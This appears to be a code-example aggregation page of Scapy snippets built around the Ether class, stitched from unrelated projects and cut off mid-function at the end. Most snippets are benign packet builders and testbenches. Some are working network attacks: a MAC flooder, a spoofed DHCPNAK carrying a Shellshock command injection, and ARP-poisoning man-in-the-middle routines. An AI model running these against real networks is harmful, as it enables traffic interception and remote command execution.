Beispiel #1
0
 def run(self):
     hw = self.get_gateway_hw()
     while(self.attack):
         eth = Ether(dst=hw)
         # print eth
         eth.src = self.get_rand_mac_addr()
         sendp(eth, iface=self.ifname)
Beispiel #2
0
def build_packet(args, parser):
    src = args.src.split(':')
    dst = args.dst.split(':')

    # create the payload
    base = "Hello from Python"
    header_len = 14 + 20 + 8
    data = base * ((args.length-header_len)/len(base) + 1)
    data = data[0:args.length-header_len]

    scap = Ether(src = args.srcmac, dst = args.dstmac)
    scap = scap / IP(src = src[0], dst = dst[0])
    scap = scap / UDP(sport = int(src[1]), dport = int(dst[1]))
    scap = scap / data

    try:
        # checksum is computed when calling str(scap), e.g. when the packet is
        # assembled
        ret = str(scap)
    except:
        print("Packet parameters are invalid\n")
        help_quit(parser)

    if args.dump:
        scap.show2()

    return ret
    def nak_request(self, packet):

        # we are hereby handling the case where we detect one other dhcp server besides our own...

        dhcp_server_mac = self.other_dhcp_servers.keys()[0]
        dhcp_server_ip  = self.other_dhcp_servers[self.other_dhcp_servers.keys()[0]]

        print "Spoofing DHCPNAK from %s / %s" % (dhcp_server_mac, dhcp_server_ip)

        nak = Ether(src=dhcp_server_mac, dst=packet[Ether].dst) / \
            IP(src=dhcp_server_ip, dst=packet[IP].dst) / \
            UDP(sport=67, dport=68) / \
            BOOTP(op=2,
                ciaddr=packet[IP].src,
                siaddr=packet[IP].dst,
                chaddr=packet[Ether].src,
                xid=packet[BOOTP].xid) / \
            DHCP(options=[
                ('server_id', dhcp_server_ip),
                ('message-type','nak'),
                (114, "() { ignored;}; touch /tmp/test"),
                ('end')]
            )

        print "sending NAK:"
        nak.show()
        scapy.all.sendp(nak)
Beispiel #4
0
 def inject_packet(self, iface, dst_mac):
     ether_part = Ether(src='00:00:00:00:00:00', dst=dst_mac)
     ip_part = IP(ttl=1, src='0.0.0.0', dst='224.0.0.1')
     igmp_part = IGMP(type=0x11)
     igmp_part.mrtime = (self.max_resp_time / 100) & 0xff
     igmp_part.igmpize(ether=ether_part, ip=ip_part)
     # Make this IGMP query packet as an unicast packet
     ether_part.dst = dst_mac
     sendp(ether_part / ip_part / igmp_part, iface=iface, verbose=False)
Beispiel #5
0
def simple_cpu_packet(header_version = 0,
                      packet_version = 0,
                      fabric_color = 0,
                      fabric_qos = 0,
                      dst_device = 0,
                      dst_port_or_group = 0,
                      ingress_ifindex = 1,
                      ingress_bd = 0,
                      mcast_grp = 0,
                      egress_queue = 0,
                      tx_bypass = False,
                      ingress_port = 1,
                      reason_code = 0,
                      sflow_sid = 0,
                      sflow_egress_port = 0,
                      inner_pkt = None):

    ether = Ether(str(inner_pkt))
    eth_type = ether.type
    ether.type = 0x9000

    fabric_header = FabricHeader(packet_type = 0x5,
                                  header_version = header_version,
                                  packet_version = packet_version,
                                  pad1 = 0,
                                  fabric_color = fabric_color,
                                  fabric_qos = fabric_qos,
                                  dst_device = dst_device,
                                  dst_port_or_group = dst_port_or_group)

    fabric_cpu_header = FabricCpuHeader(egress_queue = egress_queue,
                                        tx_bypass = tx_bypass,
                                        reserved1 = 0,
                                        ingress_port = ingress_port,
                                        ingress_ifindex = ingress_ifindex,
                                        ingress_bd = ingress_bd,
                                        reason_code = reason_code,
                                        mcast_grp = mcast_grp)

    fabric_payload_header = FabricPayloadHeader(ether_type = eth_type)

    pkt = (str(ether)[:14]) / fabric_header / fabric_cpu_header

    if sflow_sid:
        pkt = pkt / FabricCpuSflowHeader(sflow_sid = sflow_sid, sflow_egress_port = sflow_egress_port)

    pkt = pkt / fabric_payload_header

    if inner_pkt:
        pkt = pkt / (str(inner_pkt)[14:])
    else:
        ip_pkt = simple_ip_only_packet()
        pkt = pkt / ip_pkt

    return pkt
Beispiel #6
0
def main():
    if len(sys.argv) != 3:
        print "Usage: send_magic_pkt.py [flowID] [target_pathID]"
        print "For example: send_magic_pkt.py  1 2"
        sys.exit(1)

    flowID, pathID = sys.argv[1:]

    p = Ether(type=0x101, dst="ff:ff:ff:ff:ff:ff") / MagicPkt(flowID=int(flowID), pathID=int(pathID))
    print p.show()
    sendp(p, iface = "eth0")
Beispiel #7
0
    def _monitor_recv(self):
        clk = RisingEdge(self.clock)
        self._pkt = ""

        while True:
            yield clk
            ctrl, bytes = self._get_bytes()

            if ctrl[0] and bytes[0] == _XGMII_START:

                ctrl, bytes = ctrl[1:], bytes[1:]

                while self._add_payload(ctrl, bytes):
                    yield clk
                    ctrl, bytes = self._get_bytes()

            if self._pkt:

                self.log.debug("Received:\n%s" % (hexdump(self._pkt)))

                if len(self._pkt) < 64 + 7:
                    self.log.error("Received a runt frame!")
                if len(self._pkt) < 12:
                    self.log.error("No data to extract")
                    self._pkt = ""
                    continue

                preamble_sfd = self._pkt[0:7]
                crc32 = self._pkt[-4:]
                payload = self._pkt[7:-4]

                if preamble_sfd != _PREAMBLE_SFD:
                    self.log.error("Got a frame with unknown preamble/SFD")
                    self.log.error(hexdump(preamble_sfd))
                    self._pkt = ""
                    continue

                expected_crc = struct.pack("<I",
                                           (zlib.crc32(payload) & 0xFFFFFFFF))

                if crc32 != expected_crc:
                    self.log.error("Incorrect CRC on received packet")
                    self.log.info("Expected: %s" % (hexdump(expected_crc)))
                    self.log.info("Received: %s" % (hexdump(crc32)))

                # Use scapy to decode the packet
                if _have_scapy:
                    p = Ether(payload)
                    self.log.debug("Received decoded packet:\n%s" % p.show2())
                else:
                    p = payload

                self._recv(p)
                self._pkt = ""
Beispiel #8
0
 def __init__(self, ip, mac):
     ether = Ether()
     ether.src = mac # Default: network card mac
     
     arp = ARP()
     arp.op = arp.is_at
     arp.psrc = ip
     arp.hwsrc = mac
     
     self.arp = arp
     self.ether = ether
Beispiel #9
0
def sanitize(
    filepath_in,
    filepath_out=None,
    sequential=True,
    ipv4_mask=0,
    ipv6_mask=0,
    mac_mask=0,
    start_ipv4="10.0.0.1",
    start_ipv6="2001:aa::1",
    start_mac="00:aa:00:00:00:00",
):

    if not filepath_out:
        timestamp = datetime.datetime.now().strftime("%y%m%d-%H%m%S")
        filepath_out = os.path.splitext(filepath_in)[0] + "_sanitized_" + timestamp + os.path.splitext(filepath_in)[1]

    mac_gen = MACGenerator(sequential=sequential, mask=mac_mask, start_mac=start_mac)
    ip4_gen = IPv4Generator(sequential=sequential, mask=ipv4_mask, start_ip=start_ipv4)
    ip6_gen = IPv6Generator(sequential=sequential, mask=ipv6_mask, start_ip=start_ipv6)

    with open(filepath_in) as capfile:

        # open cap file with pcapfile
        cap = savefile.load_savefile(capfile, verbose=False)

        # use scapy's pcapwriter
        pktwriter = PcapWriter(filepath_out, append=True)

        try:
            for pkt in cap.packets:

                # create scapy packet from pcapfile packet raw output
                pkt = Ether(pkt.raw())

                # MAC addresses
                pkt.src = mac_gen.get_mac(pkt.src)
                pkt.dst = mac_gen.get_mac(pkt.dst)

                # IP Address
                try:
                    pkt["IP"].src = ip4_gen.get_ip(pkt["IP"].src)
                    pkt["IP"].dst = ip4_gen.get_ip(pkt["IP"].dst)
                except IndexError:
                    pkt["IPv6"].src = ip6_gen.get_ip(pkt["IPv6"].src)
                    pkt["IPv6"].dst = ip6_gen.get_ip(pkt["IPv6"].dst)

                pktwriter.write(pkt)

        finally:
            pktwriter.close()

    return filepath_out.split("/")[-1]
Beispiel #10
0
def main():

    if len(sys.argv)<3:
        print 'pass 2 arguments: <destination> "<message>"'
        exit(1)

    addr = socket.gethostbyname(sys.argv[1])
    iface = get_if()

    print "sending on interface %s to %s" % (iface, str(addr))
    pkt =  Ether(src=get_if_hwaddr(iface), dst='ff:ff:ff:ff:ff:ff') / IP(dst=addr) / UDP(dport=4321, sport=1234) / sys.argv[2]
    pkt.show2()
    sendp(pkt, iface=iface, verbose=False)
Beispiel #11
0
def main():
    n = 4
    for i in range(n):
        p = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(dst="10.0.0.2")/TCP(reserved=2, dport=49152+i) / BytePkt(val=0)
        # !!!! there is an error in scapy. The TCP stack still use 4 bit for the reserved key.
        print p.show()
        sendp(p, iface = "eth0")
        #p = IP(dst="10.0.0.2")/TCP(reserved=2, dport=10000+i)
        # !!!! there is an error in scapy. The TCP stack still use 4 bit for the reserved key.
        #print p.show()
        #send(p)

        sleep(1)
Beispiel #12
0
def simple_multicast_fabric_packet(header_version = 0,
                      packet_version = 0,
                      fabric_color = 0,
                      fabric_qos = 0,
                      dst_device = 0,
                      dst_port_or_group = 0,
                      routed = 0,
                      outer_routed = 0,
                      tunnel_terminate=0,
                      ingress_tunnel_type=0,
                      ingress_ifindex = 1,
                      ingress_bd = 0,
                      mcast_grp_A = 0,
                      mcast_grp_B = 0,
                      ingress_rid = 0,
                      l1_exclusion_id = 0,
                      inner_pkt = None):

    ether = Ether(str(inner_pkt))
    eth_type = ether.type
    ether.type = 0x9000

    fabric_header = FabricHeader(packet_type = 0x2,
                                  header_version = header_version,
                                  packet_version = packet_version,
                                  pad1 = 0,
                                  fabric_color = fabric_color,
                                  fabric_qos = fabric_qos,
                                  dst_device = dst_device,
                                  dst_port_or_group = dst_port_or_group)

    fabric_multicast_header = FabricMulticastHeader(routed = routed,
                                    outerRouted = outer_routed,
                                    tunnelTerminate = tunnel_terminate,
                                    ingressTunnelType = ingress_tunnel_type,
                                    ingressIfindex = ingress_ifindex,
                                    ingressBd = ingress_bd,
                                    mcastGrpA = mcast_grp_A,
                                    mcastGrpB = mcast_grp_B,
                                    ingressRid = ingress_rid,
                                    l1ExclusionId = l1_exclusion_id)

    fabric_payload_header = FabricPayloadHeader(ether_type = eth_type)

    if inner_pkt:
        pkt = (str(ether)[:14]) / fabric_header / fabric_multicast_header / fabric_payload_header / (str(inner_pkt)[14:])
    else:
        ip_pkt = simple_ip_only_packet()
        pkt = (str(ether)[:14]) / fabric_header / fabric_multicast_header / fabric_payload_header / ip_pkt

    return pkt
Beispiel #13
0
    def encapsulate(cls, packet_or_frame, src_mac, dst_mac):
        if dst_mac == None:
            dst_mac = Ethernet.DefaultDst
        if src_mac == None:
            src_mac = Ethernet.DefaultSrc

        try:
            if not packet_or_frame.haslayer(Ether):
                packet_or_frame = Ether()/packet_or_frame

            packet_or_frame.getlayer(Ether).src = src_mac
            packet_or_frame.getlayer(Ether).dst = dst_mac
        except AttributeError:
            pass

        return packet_or_frame
Beispiel #14
0
 def sendPacket(self, packet, if_out, rota):
     # Envia informação para interface de saída.
     #  Detecta o tipo do pacote para montar corretamente para ser enviado.
     #  Monta cabeçalhos ethernet de origem e destino.
     #  Verifica o MAC do endereço IP de destino
     #resp = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=packet.dst), iface=if_out, timeout=2)
     # #print "Resposta ARP destino %s : %s"  % (packet.dst, resp)
     # Monta cabeçalho ethernet
     print rota.src_mac
     print rota.dst_mac
     #eth_dst = resp.src
     #eth_src = resp.dst
     eth = Ether(src=rota.src_mac, dst=rota.dst_mac)
     eth.type = 2048
     packet.show2()
     #Envia pacote para a interface de saida delimitada.
     sendp(eth/packet, iface=if_out)
Beispiel #15
0
    def handle_read(self):
        # 802.11 maximum frame size is 2346 bytes (cf. RFC3580)
        # However, WiFi interfaces are always MTUed to 1500
        dot11_rcvd_frame = self.fd.recv(2346)

        # WEP handling is automagicly done by Scapy if conf.wepkey is set
        # Nothing to do to decrypt (although not yet tested)
        # WEP frames have Dot11WEP layer, others don't

        #if DEBUG:
        #    if dot11_rcvd_frame.haslayer(Dot11WEP): # WEP frame
        #        os.write(1,"Received WEP from %s\n" % self._intf)
        #    else: # Cleartext frame
        #        os.write(1,"Received from %s\n" % self._intf)
        #    if VERB:
        #        os.write(1,"%s\n" % dot11_rcvd_frame.summary())

	#    if dot11_frame.getlayer(Dot11).FCfield & 1: # Frame is to-DS
	# For now, we only take care of to-DS frames...

        if dot11_rcvd_frame.getlayer(Dot11).addr1 != self._tap.bssid:
            return

	# One day, we'll try to take care of AP to DS trafic (cf. TODO)
	#    else: # Frame is from-DS
	#        if dot11_frame.getlayer(Dot11).addr2 != BSSID:
	#            continue
	#	eth_frame = Ether(dst=dot11_frame.getlayer(Dot11).addr1,
	#           src=dot11_frame.getlayer(Dot11).addr3)
	    
        if dot11_rcvd_frame.haslayer(SNAP):
            eth_sent_frame = Ether(
                dst=dot11_rcvd_frame.getlayer(Dot11).addr3,
                src=dot11_rcvd_frame.getlayer(Dot11).addr2,
                type=dot11_rcvd_frame.getlayer(SNAP).code)
            eth_sent_frame.payload = dot11_rcvd_frame.getlayer(SNAP).payload

            #if DEBUG:
            #    os.write(1, "Sending to %s\n" % ifname)
            #    if VERB:
            #        os.write(1, "%s\n" % eth_sent_frame.summary())

            # Add Tun/Tap header to frame, convert to string and send
            buf = "\x00\x00" + struct.pack("!H",eth_sent_frame.type) + str(eth_sent_frame)
            os.write(self.fd, buf)
Beispiel #16
0
def send_random_traffic(dst):
    dst_mac = None
    dst_ip = None
    src_mac = [get_if_hwaddr(i) for i in get_if_list() if i == 'eth0']
    if len(src_mac) < 1:
        print ("No interface for output")
        sys.exit(1)
    src_mac = src_mac[0]
    src_ip = None
    if src_mac =="00:00:00:00:00:01":
        src_ip = "10.0.0.1"
    elif src_mac =="00:00:00:00:00:02":
        src_ip = "10.0.0.2"
    elif src_mac =="00:00:00:00:00:03":
        src_ip = "10.0.0.3"
    else:
        print ("Invalid source host")
        sys.exit(1)

    if dst == 'h1':
        dst_mac = "00:00:00:00:00:01"
        dst_ip = "10.0.0.1"
    elif dst == 'h2':
        dst_mac = "00:00:00:00:00:02"
        dst_ip = "10.0.0.2"
    elif dst == 'h3':
        dst_mac = "00:00:00:00:00:03"
        dst_ip = "10.0.0.3"
    else:
        print ("Invalid host to send to")
        sys.exit(1)

    total_pkts = 0
    random_ports = random.sample(xrange(1024, 65535), 10)
    for port in random_ports:
        num_packets = random.randint(50, 250)
        for i in range(num_packets):
            data = randomword(100)
            p = Ether(dst=dst_mac,src=src_mac)/IP(dst=dst_ip,src=src_ip)
            p = p/TCP(dport=port)/Raw(load=data)
            print p.show()
            sendp(p, iface = "eth0")
            total_pkts += 1
    print "Sent %s packets in total" % total_pkts
Beispiel #17
0
    def handle_read(self):
        # | 4 bytes | 4 bytes |   18 bytes   |     1500 bytes    |
        #     Tap       VLAN    Ether Header          Frame
        buf = self.read(1526)
        eth_rcvd_frame = Ether(buf[4:])

        #if DEBUG:
        #    os.write(1,"Received from %s\n" % ifname)
        #    if VERB:
        #        os.write(1,"%s\n" % eth_rcvd_frame.summary())

        # Prepare Dot11 frame for injection
        dot11_sent_frame = self.radiotap()

        dot11_sent_frame /= Dot11(
            type = "Data",
            FCfield = "from-DS",
            addr1 = eth_rcvd_frame.getlayer(Ether).dst,
            addr2 = self._tap.bssid)

        # It doesn't seem possible to set tuntap interface MAC address
        # when we create it, so we set source MAC here
        if self._tap.smac == '':
            dot11_sent_frame.addr3 = eth_rcvd_frame.getlayer(Ether).src
        else:
            dot11_sent_frame.addr3 = self._tap.smac

        if self._tap.has_wep:
            dot11_sent_frame.FCfield |= 0x40
            dot11_sent_frame /= Dot11WEP(
                iv = "111",
                keyid = self._tap.key_id)

        dot11_sent_frame /= LLC(ctrl = 3)/SNAP(code=eth_rcvd_frame.getlayer(Ether).type)/eth_rcvd_frame.getlayer(Ether).payload

        #if DEBUG:
        #    os.write(1,"Sending from-DS to %s\n" % OUT_IFACE)
        #    if VERB:
        #        os.write(1,"%s\n" % dot11_sent_frame.summary())

        # Frame injection :
        sendp(dot11_sent_frame,verbose=0) # Send from-DS frame
Beispiel #18
0
    def packet_out(self, in_port, out_port, data):
        in_port = "CONTROLLER" if in_port == ofp.OFPP_CONTROLLER else in_port
        print "PACKET OUT (%s => %s): " % (in_port, out_port)
        hexdump(data)

        if self.in_out_iface is not None:

            try:
                # disect the packet
                pkt = Ether(data)

                # remove payload from Ether frame
                payload = pkt.payload
                payload_type = pkt.type
                pkt.remove_payload()

                # insert Dot1Q shim with vlan_id = out_port

                if self.in_out_stag is None:
                    ## WARNING -- This was changed from 0x88a8 to 0x8100 when
                    ## testing with the Intel XL710 quad 10GE boards.  The
                    ## XL710 does not support the TPID for the STAG.
                    ##
                    ## Long term, it should be changed back to 0x88a8!
                    ##
                    pkt.type = 0x8100
                    new_pkt = pkt / Dot1Q(vlan=out_port, type=payload_type) / payload

                else:
                    pkt.type = 0x8100
                    new_pkt = (
                            pkt /
                            Dot1Q(vlan=self.in_out_stag, type=0x8100) /
                            Dot1Q(vlan=out_port, type=payload_type) /
                            payload)

                # send out the packet
                sendp(new_pkt, iface=self.in_out_iface)

            except Exception, e:
                logging.exception("Could not parse packet-out data as scapy.Ether:\n")
                logging.error(hexdump(data, 'return'))
Beispiel #19
0
def simple_unicast_fabric_packet(header_version = 0,
                      packet_version = 0,
                      fabric_color = 0,
                      fabric_qos = 0,
                      dst_device = 0,
                      dst_port_or_group = 0,
                      routed = 0,
                      outer_routed = 0,
                      tunnel_terminate = 0,
                      ingress_tunnel_type = 0,
                      nexthop_index = 0,
                      inner_pkt = None):

    ether = Ether(str(inner_pkt))
    eth_type = ether.type
    ether.type = 0x9000

    fabric_header = FabricHeader(packet_type = 0x1,
                                  header_version = header_version,
                                  packet_version = packet_version,
                                  pad1 = 0,
                                  fabric_color = fabric_color,
                                  fabric_qos = fabric_qos,
                                  dst_device = dst_device,
                                  dst_port_or_group = dst_port_or_group)

    fabric_unicast_header = FabricUnicastHeader(routed = 0,
                                                outerRouted = 0,
                                                tunnelTerminate = 0,
                                                ingressTunnelType = 0,
                                                nexthopIndex = 0)

    fabric_payload_header = FabricPayloadHeader(ether_type = eth_type)

    if inner_pkt:
        pkt = (str(ether)[:14]) / fabric_header / fabric_unicast_header / fabric_payload_header / (str(inner_pkt)[14:])
    else:
        ip_pkt = simple_ip_only_packet()
        pkt = (str(ether)[:14]) / fabric_header / fabric_unicast_header / fabric_payload_header / ip_pkt

    return pkt
Beispiel #20
0
def build_msg(opts):
    conf.checkIPaddr = False
    msg_flag = 0
    fam, hw = get_if_raw_hwaddr(str(world.cfg["iface"]))
    tmp_hw = None

    # we need to choose if we want to use chaddr, or client id. 
    # also we can include both: client_id and chaddr
    if world.cfg["values"]["chaddr"] is None or world.cfg["values"]["chaddr"] == "default":
        tmp_hw = hw
    elif world.cfg["values"]["chaddr"] == "empty":
        tmp_hw = convert_MAC("00:00:00:00:00:00")
    else:
        tmp_hw = convert_MAC(world.cfg["values"]["chaddr"])

    if world.cfg["values"]["broadcastBit"]:
        # value for setting 1000 0000 0000 0000 in bootp message in field 'flags' for broadcast msg.
        msg_flag = 32768

    msg = Ether(dst = "ff:ff:ff:ff:ff:ff",
                src = hw)
    msg /= IP(src = world.cfg["source_IP"],
              dst = world.cfg["destination_IP"],)
    msg /= UDP(sport = world.cfg["source_port"], dport = world.cfg["destination_port"])
    msg /= BOOTP(chaddr = tmp_hw,
                 giaddr = world.cfg["values"]["giaddr"],
                 flags = msg_flag,
                 hops = world.cfg["values"]["hops"])

    # BOOTP requests can be optionless
    if (len(opts) > 0):
        opts += ["end"]  # end option
        msg /= DHCP(options = opts)

    msg.xid = randint(0, 256*256*256)
    msg.siaddr = world.cfg["values"]["siaddr"]
    msg.ciaddr = world.cfg["values"]["ciaddr"]
    msg.yiaddr = world.cfg["values"]["yiaddr"]

    return msg
Beispiel #21
0
def sendPerSecondc(timestamp,ip,dataSize,mac,packets):
  numPacket=int(dataSize/(pktSize+pktOverhead))
  if (numPacket>0):
    if (ip in packetsMap):
        p=packetsMap[ip];
    else:
      p=Ether(dst=mac)/IP(src=ip)/TCP()/completePayload;
      packetsMap[ip]=p;
    p.time=timestamp;
    for i in range(numPacket):
      packets.append(p);

  remainedData=dataSize-numPacket*(pktSize+pktOverhead)
  if (remainedData>0):
    if (ip in packetsMap2):
      p=packetsMap2[ip];
    else:
      p=Ether(dst=mac)/IP(src=ip)/TCP()
      packetsMap2[ip]=p
    p=p/''.zfill(min(pktSize,remainedData));
    p.time=timestamp;
    packets.append(p);
Beispiel #22
0
def sendPerSecondc(timestamp,ip,dataSize,mac,packets):  
  numPacket=int(dataSize/pktSize)
  if (numPacket>0):
    if (ip in packetsMap):
	p=packetsMap[ip];
    else:      
      p=Ether(dst=mac)/IP(src=ip)/TCP()/completePayload;
      packetsMap[ip]=p;
    p.time=timestamp;
    for i in range(numPacket):
      packets.append(p);
  
  remainedData=dataSize-numPacket*pktSize
  if (remainedData>0):
    if (ip in packetsMap2):
      p=packetsMap2[ip];
      p['Raw'].load=''.zfill(remainedData);
    else:      
      p=Ether(dst=mac)/IP(src=ip)/TCP()/''.zfill(remainedData)
      packetsMap2[ip]=p
    p.time=timestamp;
    packets.append(p);
Beispiel #23
0
def build_msg(opts):
    conf.checkIPaddr = False
    msg_flag = 0
    import sys
    if sys.platform != "darwin":
        fam, hw = get_if_raw_hwaddr(str(world.cfg["iface"]))
    else:
        # TODO fix this for MAC OS, this is temporary quick fix just for my local system
        hw = convert_MAC("0a:00:27:00:00:00")
    tmp_hw = None

    # we need to choose if we want to use chaddr, or client id.
    # also we can include both: client_id and chaddr
    if world.cfg["values"]["chaddr"] is None or world.cfg["values"]["chaddr"] == "default":
        tmp_hw = hw
    elif world.cfg["values"]["chaddr"] == "empty":
        tmp_hw = convert_MAC("00:00:00:00:00:00")
    else:
        tmp_hw = convert_MAC(world.cfg["values"]["chaddr"])

    if world.cfg["values"]["broadcastBit"]:
        # value for setting 1000 0000 0000 0000 in bootp message in field 'flags' for broadcast msg.
        msg_flag = 32768
    else:
        msg_flag = 0

    msg = Ether(dst="ff:ff:ff:ff:ff:ff",
                src=hw)
    msg /= IP(src=world.cfg["source_IP"],
              dst=world.cfg["destination_IP"],)
    msg /= UDP(sport=world.cfg["source_port"], dport=world.cfg["destination_port"])
    msg /= BOOTP(chaddr=tmp_hw,
                 giaddr=world.cfg["values"]["giaddr"],
                 flags=msg_flag,
                 hops=world.cfg["values"]["hops"])

    # BOOTP requests can be optionless
    if len(opts) > 0:
        opts += ["end"]  # end option
        msg /= DHCP(options=opts)

    #transaction id
    if world.cfg["values"]["tr_id"] is None:
        msg.xid = randint(0, 256*256*256)
    else:
        msg.xid = int(world.cfg["values"]["tr_id"])
    world.cfg["values"]["tr_id"] = msg.xid

    msg.siaddr = world.cfg["values"]["siaddr"]
    msg.ciaddr = world.cfg["values"]["ciaddr"]
    msg.yiaddr = world.cfg["values"]["yiaddr"]
    msg.htype = world.cfg["values"]["htype"]
    return msg
Beispiel #24
0
def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
    ether = Ether()
    ether.src = my_mac

    arp = ARP()
    arp.psrc = gateway_ip
    arp.hwsrc = my_mac

    arp = arp
    arp.pdst = target_ip
    arp.hwdst = target_mac

    ether = ether
    ether.src = my_mac
    ether.dst = target_mac

    arp.op = 2

    def broadcastPacket():
        packet = ether / arp
        sendp(x=packet, verbose=False)

    broadcastPacket()
Beispiel #25
0
def cmd_arp_poison(victim1, victim2, iface, verbose):
    """Send ARP 'is-at' packets to each victim, poisoning their
    ARP tables for send the traffic to your system.

    Note: If you want a full working Man In The Middle attack, you need
    to enable the packet forwarding on your operating system to act like a
    router. You can do that using:

    # echo 1 > /proc/sys/net/ipv4/ip_forward

    Example:

    \b
    # habu.arpoison 192.168.0.1 192.168.0.77
    Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77
    Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.70
    Ether / ARP is at f4:96:34:e5:ae:1b says 192.168.0.77
    ...
    """

    conf.verb = False

    if iface:
        conf.iface = iface

    mac1 = getmacbyip(victim1)
    mac2 = getmacbyip(victim2)

    pkt1 = Ether(dst=mac1)/ARP(op="is-at", psrc=victim2, pdst=victim1, hwdst=mac1)
    pkt2 = Ether(dst=mac2)/ARP(op="is-at", psrc=victim1, pdst=victim2, hwdst=mac2)

    try:
        while 1:
            sendp(pkt1)
            sendp(pkt2)

            if verbose:
                pkt1.show2()
                pkt2.show2()
            else:
                print(pkt1.summary())
                print(pkt2.summary())

            time.sleep(1)

    except KeyboardInterrupt:
        pass
Beispiel #26
0
    def ETHSEND(self, fsm, net, mac, p, dst=None):
        """ETHSEND state; Encapsulate `p` in Ethernet frame and send to `mac`.

        :param net: Associated `NET`.
        :param mac: Associated `MAC`.
        :param p: Ethernet packet to send.
        :param dst: Ethernet address of destination [default=`MAC.broadcast`]

        Upon completion this method returns to `returnstate` with the parameters
        `net` and `mac`.
        """
        # get parameters for Ethernet packet
        src, htype = mac.addr, mac.htype
        if dst is None: dst = mac.broadcast
        ethertype = self.get_ethertype(p)
        eth = Ether(src=src, dst=dst, type=ethertype)
        eth.add_payload(p)
        # update CRC
        pkt = eth
        if USE_CRC32: pkt = crcupdate(eth)
        # send to TX port
        self.log_send(pkt, src=src, dst=dst, type=ethertype)
        txport = self.getport((mac, "TX"))
        yield txport.send(fsm, [pkt])
Beispiel #27
0
 def recv_msg_cpu(self, pkt):
     packet = Ether(str(pkt))
     if packet.type == 0x1234:
         cpu_header = CpuHeader(packet.payload)
         self.learn([(cpu_header.macAddr, cpu_header.ingress_port)])
Beispiel #28
0
            runconf['range'] = rs
        else:
            assert False, "unhandled option"
    return runconf

if __name__ == '__main__':
    runconf=get_runtime_options()
    pcapackets=rdpcap(runconf['input'])
    plist=[]
    count=0
    for p in pcapackets:
        if not 'UDP' in p: continue
        vpd=False
        for r in runconf['range']:
            if p['UDP'].dport >= r[0] and p['UDP'].dport <= r[1]:
                vpd=True
                break
        if not vpd: continue
        d=[]
        for i in range(6): d.append("%02x" % p['Raw'].load[i])
        dst=":".join(d)
        d=[]
        for i in range(6): d.append("%02x" % p['Raw'].load[i+6])
        src=":".join(d)
        pro=p['Raw'].load[12]*0x100 + p['Raw'].load[13]
        np=Ether(dst=dst, src=src, type=pro)/Raw(load=p['Raw'].load[14:])
        np.time=p.time
        plist.append(np)
    if runconf['output']:
        wrpcap(runconf['output'], plist)
Beispiel #29
0
"""


print(logo)





target_ip = input('target_ip: ')
# IP Address for the destination
# create ARP packet
arp = ARP(pdst=target_ip)
# create the Ether broadcast packet
# ff:ff:ff:ff:ff:ff MAC address indicates broadcasting
ether = Ether(dst="ff:ff:ff:ff:ff:ff")
# stack them
packet = ether/arp

result = srp(packet, timeout=3, verbose=0)[0]

# a list of clients, we will fill this in the upcoming loop
clients = []

for sent, received in result:
    # for each response, append ip and mac address to `clients` list
    clients.append({'ip': received.psrc, 'mac': received.hwsrc})

# print clients
print("Available devices in the network:")
print("IP" + " "*18+"MAC")
# Network discovery
from scapy.all import sr,srp,Ether,ARP,IP,TCP,conf
from snmp_library import *


# Conf verb to 0
conf.verb = 0

# Check the network
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst = '155.210.157.0'), timeout = 2)

# Para cada una de las repuestas snd y rcv son el paquete que has mandado y la respuesta que has recivido
for snd, rcv in ans:
    print(rcv.sprintf(r"%Ether.src% - %ARP.psrc%"))
    # Escaneo todos los puertos
    #answers, un_answered = sr()
    #
    #for req, resp in answers:
        # Compruebo si la respuesta es un SYN/ACK
        #pass # Pass solamente esta para llenar el loop. Tu lo deberas borrar


    # En caso de ser SYN/ACK cierro la conexion con un reset

def test_axi_stream_pipeline(dut):
    """Testing axi_stream_pipeline 
    """

    # start HW sim clock
    cocotb.fork(Clock(dut.axis_aclk, PERIOD).start())

    # Reset the DUT
    dut._log.debug("Resetting DUT")
    dut.axis_resetn <= 0
    yield ClockCycles(dut.axis_aclk, 10)
    dut.axis_resetn <= 1
    dut._log.debug("Out of reset")

    # Attach an AXI4Stream Master to the input pkt interface
    pkt_master = AXI4StreamMaster(dut, 's_axis', dut.axis_aclk)

    # Attach and AXI4StreamSlave to the output pkt interfaces
    pkt_slave = AXI4StreamSlave(dut, 'm_axis', dut.axis_aclk)

    # build the list of pkts and metadata to insert
    pkts_meta_in = []
    for i in range(20):
        pkt_len = random.randint(50, 1000)
        # build a packet
        pkt = Ether(dst='aa:aa:aa:aa:aa:aa', src='bb:bb:bb:bb:bb:bb')
        #        pkt = pkt / ('\x11'*18 + '\x22'*32)
        #        pkt = pkt / ('\x11'*18 + '\x22'*32 + '\x33'*32 + '\x44'*32 + '\x55'*16)
        pkt = pkt / ('\x11' * (pkt_len - 14))

        rank = random.randint(0, 100)

        # build the metadata
        meta = Metadata(pkt_len=len(pkt),
                        src_port=0b00000001,
                        dst_port=0b00000100,
                        rank=rank)
        tuser = BinaryValue(bits=len(meta) * 8, bigEndian=False)
        tuser.set_buff(str(meta))

        pkts_meta_in.append((pkt, tuser))

    pkts_in = [tup[0] for tup in pkts_meta_in]
    meta_in = [tup[1] for tup in pkts_meta_in]

    # Read pkts out
    slave_thread = cocotb.fork(pkt_slave.read_n_pkts(len(pkts_in)))

    # Send pkts and metadata in the HW sim
    yield pkt_master.write_pkts(pkts_in, meta_in)

    yield slave_thread.join()

    expected_pkts = pkts_in
    expected_meta = meta_in

    pkts_out = pkt_slave.pkts
    meta_out = pkt_slave.metadata

    error = False
    for (exp_pkt, pkt, exp_meta, meta, i) in zip(expected_pkts, pkts_out,
                                                 expected_meta, meta_out,
                                                 range(len(expected_pkts))):
        if str(exp_pkt) != str(pkt):
            print 'ERROR: exp_pkt != pkt_out for pkt {}'.format(i)
            error = True
        if exp_meta.get_buff() != meta.get_buff():
            print 'ERROR: exp_meta != meta_out for pkt {}'.format(i)
            exp_meta = Metadata(exp_meta.get_buff())
            meta = Metadata(meta.get_buff())
            print 'exp_meta = {}'.format(exp_meta.summary())
            print 'meta = {}'.format(meta.summary())
            error = True

    yield ClockCycles(dut.axis_aclk, 20)

    if error:
        print 'ERROR: Test Failed'
        raise (TestFailure)
Beispiel #32
0
def send_dns_reply(p):
    if IPv6 in p:
